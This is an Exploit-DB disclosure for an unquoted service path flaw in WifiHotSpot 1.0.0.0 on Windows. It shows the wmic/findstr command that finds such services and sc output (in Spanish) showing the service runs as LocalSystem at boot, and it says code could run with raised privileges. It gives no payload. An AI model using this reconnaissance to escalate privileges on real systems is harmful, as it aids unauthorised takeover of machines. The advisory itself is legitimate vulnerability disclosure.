WifiHotSpot 1.0.0.0 - 'WifiHotSpotService.exe' Unquoted Service Path

EDB-ID:

49845

CVE:

N/A




Platform:

Windows

Date:

2021-05-07


# Exploit Title: WifiHotSpot 1.0.0.0 - 'WifiHotSpotService.exe' Unquoted Service Path
# Discovery by: Erick Galindo 
# Discovery Date: 2020-05-06
# Vendor Homepage: https://www.gearboxcomputers.com/downloads/wifihotspot.exe
# Tested Version: 1.0.0.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro  x64 es
# Step to discover Unquoted Service Path:
 
c:\wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
MainService     WifiHotSpotSvc      C:\Program Files (x86)\WifiHotSpot\WifiHotSpotService.exe                          Auto

# Service info
sc qc wifihotspotsvc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: wifihotspotsvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\WifiHotSpot\WifiHotSpotService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : MainService
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem 
 
#Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.